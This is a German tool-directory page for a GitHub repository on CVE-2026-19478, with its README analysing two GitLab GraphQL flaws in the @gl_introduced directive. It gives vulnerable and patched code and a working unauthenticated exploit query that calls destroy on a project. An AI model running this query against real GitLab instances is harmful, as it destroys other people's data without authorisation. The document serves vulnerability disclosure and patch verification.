Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cve-2026-19478 — Bietet PoC-Exploits und Root-Cause-Analyse für zwei Schwachstellen in der GitLab-GraphQL-`@gl_introduced`-Direktive: unauthentifizierte Methodenausführung und Batched Document Swap, mit Upstream-Patch und Live-Nachweisen. | Kitploit
Tools/GitHubGitHub/n0xdaemon/cve-2026-19478
SchwachstellenanalyseExploitationWebanwendungs-ExploitationAPI-SicherheitstestsWebsicherheit
GitHubn0xdaemon/cve-2026-19478

cve-2026-19478

Bietet PoC-Exploits und Root-Cause-Analyse für zwei Schwachstellen in der GitLab-GraphQL-`@gl_introduced`-Direktive: unauthentifizierte Methodenausführung und Batched Document Swap, mit Upstream-Patch und Live-Nachweisen.

Repository anzeigen
24vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-19478 — Schwachstellen im GitLab-GraphQL-Version-Filter @gl_introduced

Ein Reproduktionslabor für zwei zusammenhängende Fehler in GitLabs GraphQL-Version-Filter-Funktion (der @gl_introduced-Direktive). Beide befinden sich im selben Funktionsbereich, werden durch denselben Upstream-Patch behoben, und beide ermöglichen es einer GraphQL-Anfrage, Codepfade zu erreichen, die sie nie deklariert hat:

  • Ausführung von Fallback-Feld-Methoden — eine einzelne, nicht authentifizierte, nicht gebündelte Abfrage kann eine beliebige Methode ohne Argumente (z. B. destroy) auf dem Modell hinter einem beliebigen GraphQL-Typ aufrufen, indem sie einfach ein Feld benennt, das nicht existiert, und es mit @gl_introduced markiert.
  • Dokumenttausch zwischen Operationen — in einer gebündelten (Multiplex-)Anfrage kann das geparste Abfragedokument einer Operation gegen das einer anderen ausgetauscht werden, sodass ein Slot, der eine harmlose Leseoperation deklariert hat, am Ende eine Mutation eines anderen Slots ausführt.
Betroffen18.2 → <18.11.11, 19.0 → <19.0.8, 19.1 → <19.1.6, 19.2 → <19.2.4
Behoben18.11.11, 19.0.8, 19.1.6, 19.2.4
Laborzielgitlab/gitlab-ce:19.2.2-ce.0 (letzter Build vor dem Fix)
AuslöserGraphQL-Direktive @gl_introduced, allein oder innerhalb eines Batches

Repository-Struktur

docker-compose.yml               Live vulnerable target (GitLab CE 19.2.2), :8929
patch-19.2.2-to-19.2.4.diff      The upstream fix, version_filter only (the whole bug in ~60 lines)
harness/
  live_test_fallback.sh          PoC #1 -- live HTTP exploit, fallback-field method execution (unauthenticated)
  live_test.sh                   PoC #2 -- live HTTP exploit, cross-operation document swap
  run_poc.rb                     PoC #3 -- standalone, isolates the swap in plain graphql-ruby
  loader.rb                      Loads the real 19.2.2 (vuln) or 19.2.4 (patched) version_filter source
  Dockerfile                     Minimal ruby:3.3 runner for PoC #3 (no full GitLab needed)
src/
  common/                        Unchanged upstream files (shared by both variants) + demo schema
  vuln/                          Real 19.2.2 source of the files the patch touched
  patched/                       Real 19.2.4 source of the same files
evidence/
  live_vuln_fallback_field.txt   Captured output of PoC #1 against the live target
  live_vuln.txt                  Captured output of PoC #2 against the live target
  standalone_vuln.txt            Captured output of PoC #3 (vuln)
  standalone_patched.txt         Captured output of PoC #3 (patched)

Alles unter src/ ist wörtlicher Upstream-Quellcode, nie neu implementiert — der Loader legt src/vuln oder src/patched über src/common.


1. Grundursache

1a. Fallback-Feld → Standard-Methodenauflösung von graphql-ruby

Gitlab::Graphql::VersionFilter::FutureFieldFallback ermöglicht es einer Abfrage, ein Feld zu referenzieren, das in einem Typ noch nicht existiert, ohne dass die Anfrage fehlschlägt — gedacht für rollierende Deployments, bei denen das Schema eines alten Knotens ein Feld noch nicht hat, das ein neuerer Knoten bereits ausliefert. Sein get_field-Override prüft, ob das angeforderte Feld fehlt und die Anfrage mit contain_future_fields markiert ist, und liefert in diesem Fall ein synthetisches Feld zurück, anstatt eine Ausnahme auszulösen:

# src/vuln/.../future_field_fallback.rb
def get_field(field_name, context = GraphQL::Query::NullContext.instance)
  field = super
  return field unless future_field?(name: field_name, field: field, context: context)
  fallback_field(name: field_name)
end

def fallback_field(name:)
  GraphQL::Schema::Field.new(
    owner: self,
    name: name,
    type: GraphQL::Types::Boolean,
    fallback_value: nil
  )
end

Das Problem: Dieses GraphQL::Schema::Field wird ohne Resolver-Methode, ohne Resolver-Klasse und ohne Block erstellt. Dann greift die eigene Standard-Feldauflösung von graphql-ruby (graphql-Gem 2.6.3, lib/graphql/schema/field.rb):

inner_object.public_send(@method_sym)

@method_sym ist der Name des Feldes, unterstrichen — also genau die Zeichenkette, die der Angreifer in die Abfrage gesetzt hat. Wenn das Objekt hinter dem GraphQL-Typ (das ActiveRecord-Modell) zufällig eine echte öffentliche Methode ohne Argumente mit diesem Namen besitzt, ruft graphql-ruby sie auf und gibt ihr (typkonvertiertes) Ergebnis zurück. fallback_value: nil greift nur, wenn die Methode wirklich nicht existiert — es verhindert nicht, dass eine echte Methode ausgeführt wird.

Also: Fragt man einen beliebigen Typ nach einem Feld ab, das nach einer echten destruktiven Methode benannt ist — zum Beispiel destroy — und markiert es mit @gl_introduced, damit es bis zur Ausführung überlebt, wird die Methode ausgeführt.

1b. Dokumenttausch zwischen Operationen

IntroducedTracer implementiert den Rest der Version-Filter-Funktion über zwei graphql-ruby-Trace-Hooks — parse (einmal pro Operation) und execute_query (einmal pro Operation). Im verwundbaren Build verstaut es seinen Zustand pro Operation in einfachen Instanzvariablen auf dem Trace-Objekt:

# src/vuln/.../introduced_tracer.rb
def parse(query_string:)
  @original_query_document = super          # <-- shared ivar
  @contain_future_fields   = false
  filter = FutureFieldFilter.new(@original_query_document.dup)
  filter.visit.tap { @contain_future_fields = filter.contain_future_fields }
end

def execute_query(query:)
  return super unless @contain_future_fields
  query.instance_variable_set(:@document, @original_query_document)  # <-- swap
  query.send(:prepare_ast)
  query.context[:contain_future_fields] = @contain_future_fields
  super
end

Das Problem: graphql-ruby teilt EINE Trace-Instanz über alle Operationen einer Multiplex-Anfrage und parst sie alle, bevor eine davon ausgeführt wird. In einem Batch mit zwei Operationen gilt also:

  1. parse(op1) → @original_query_document = op1_doc, @contain_future_fields = false
  2. parse(op2) → @original_query_document = op2_doc, @contain_future_fields = true (op2 trägt ein @gl_introduced-Zukunftsfeld)

Nach dem Parsen überlebt nur der Zustand der letzten Operation. Dann läuft die Ausführung:

  1. execute_query(op1) → Flag ist true, also wird op1s Dokument mit op2_doc überschrieben und neu vorbereitet → op1s Slot führt op2s Operation aus.

op1 hat eine Leseoperation deklariert; es führt den Schreibvorgang von op2 aus.

Der Fix

patch-19.2.2-to-19.2.4.diff behebt beides:

# future_field_fallback.rb -- give the fallback field an explicit resolver,
# so graphql-ruby never falls through to public_send on the field name
resolver_class: Resolvers::NilResolver
# NilResolver#resolve just returns nil, unconditionally -- no dispatch at all

# introduced_tracer.rb -- key the stashed state by each operation's own
# filtered document instead of one shared ivar
@introduced_tracer_data[filtered_document] = { original_document:, contain_future_fields: }
# ...
doc_data = @introduced_tracer_data[query.document]   # no cross-operation bleed

2. Exploit-Ablauf

2a. Fallback-Feld — einzelne Anfrage, ohne Authentifizierung, ohne Batching

query {
  project(fullPath: "root/some-public-project") {
    id
    destroy @gl_introduced(version: "99.0.0")
  }
}

Kein Authorization-Header. Eine Operation, kein Batch. destroy ist kein echtes Feld auf Project — es existiert im Schema überhaupt nicht — aber die Direktive veranlasst FutureFieldFilter, es vor der statischen Validierung zu entfernen, und aktiviert contain_future_fields für die Ausführung. Dort gibt get_field ein resolverloses Feld namens destroy zurück, und graphql-ruby ruft project.public_send(:destroy) auf.

Tool herunterladen